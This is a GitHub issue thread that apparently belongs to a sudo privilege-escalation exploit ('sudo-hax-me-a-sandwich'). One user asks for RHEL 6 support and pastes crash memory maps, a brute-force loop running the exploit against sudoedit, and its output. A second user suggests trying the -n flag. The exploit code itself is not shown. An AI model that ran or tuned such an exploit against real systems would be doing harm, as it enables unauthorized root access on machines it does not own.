Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

RHEL #4

Open
DixieDot1993 opened this issue Jan 31, 2021 · 2 comments
Open

RHEL #4

DixieDot1993 opened this issue Jan 31, 2021 · 2 comments

Comments

@DixieDot1993
Copy link

DixieDot1993 commented Jan 31, 2021

RHEL support pls

cat /proc/version
Linux version 2.6.32-696.el6.x86_64 ([email protected]) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-18) (GCC) ) #1 SMP Tue Feb 21 00:53:17 EST 2017

you can get ISO here
https://archive.org/details/rhel-server-6.9-x86_64-dvd

must compile with flag -std=c99

errors:
..snipp..

7f2a8cfe9000-7f2a8d030000 r-xp 00000000 08:03 1053874                    /usr/lib64/libssl3.so
7f2a8d030000-7f2a8d230000 ---p 00047000 08:03 1053874                    /usr/lib64/libssl3.so
7f2a8d230000-7f2a8d234000 r--p 00047000 08:03 1053874                    /usr/lib64/libssl3.so
7f2a8d234000-7f2a8d235000 rw-p 0004b000 08:03 1053874                    /usr/lib64/libssl3.so
7f2a8d235000-7f2a8d236000 rw-p 00000000 00:00 0 
7f2a8d236000-7f2a8d24f000 r-xp 00000000 08:03 1050994                    /usr/lib64/libsasl2.so.2.0.23
7f2a8d24f000-7f2a8d44e000 ---p 00019000 08:03 1050994                    /usr/lib64/libsasl2.so.2.0.23
7f2a8d44e000-7f2a8d44f000 r--p 00018000 08:03 1050994                    /usr/lib64/libsasl2.so.2.0.23
7f2a8d44f000-7f2a8d450000 rw-p 00019000 08:03 1050994                    /usr/lib64/libsasl2.so.2.0.23
7f2a8d450000-7f2a8d466000 r-xp 00000000 08:03 655402                     /lib64/libresolv-2.12.so
7f2a8d466000-7f2a8d666000 ---p 00016000 08:03 655402                     /lib64/libresolv-2.12.so
7f2a8d666000-7f2a8d667000 r--p 00016000 08:03 655402                     /lib64/libresolv-2.12.so
7f2a8d667000-7f2a8d668000 rw-p 00017000 08:03 655402                     /lib64/libresolv-2.12.so
7f2a8d668000-7f2a8d66a000 rw-p 00000000 00:00 0 
7f2a8d66a000-7f2a8d678000 r-xp 00000000 08:03 655585                     /lib64/liblber-2.4.so.2.10.3
7f2a8d678000-7f2a8d877000 ---p 0000e000 08:03 655585                     /lib64/liblber-2.4.so.2.10.3
7f2a8d877000-7f2a8d878000 r--p 0000d000 08:03 655585                     /lib64/liblber-2.4.so.2.10.3
7f2a8d878000-7f2a8d879000 rw-p 0000e000 08:03 655585                     /lib64/liblber-2.4.so.2.10.3Aborted

thx

@DixieDot1993
Copy link
Author

for i in seq 1 1000; do ./sudo-hax-me-a-sandwich $i $i $i $i; done

using target: Manual ['/usr/bin/sudoedit'] (510, 510, 510, 510)                                                                                                                               
** pray for your rootshell.. **                                                                                                                                                               
Segmentation fault
..snipp...
usage: P0P_SH3LLZ_ [-D level] -h | -K | -k | -V 
usage: P0P_SH3LLZ_ -v [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-u user name|#uid]
usage: P0P_SH3LLZ_ -l[l] [-AknS] [-D level] [-g groupname|#gid] [-p prompt] [-U user name] [-u user name|#uid] [-g groupname|#gid] [command]
usage: P0P_SH3LLZ_ [-AbEHknPS] [-r role] [-t type] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u user name|#uid] [-g groupname|#gid] [VAR=value] [-i|-s] [<command>]
usage: P0P_SH3LLZ_ -e [-AknS] [-r role] [-t type] [-C fd] [-D level] [-g groupname|#gid] [-p prompt] [-u user name|#uid] file ...

using target: Manual ['/usr/bin/sudoedit'] (513, 513, 513, 513)
** pray for your rootshell.. **
[sudo] password for test: 
..snipp..

after values of 510 the *.so errors break and pw is requested
yfi

@an0n5urf
Copy link

an0n5urf commented Feb 6, 2021

try with -n option

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants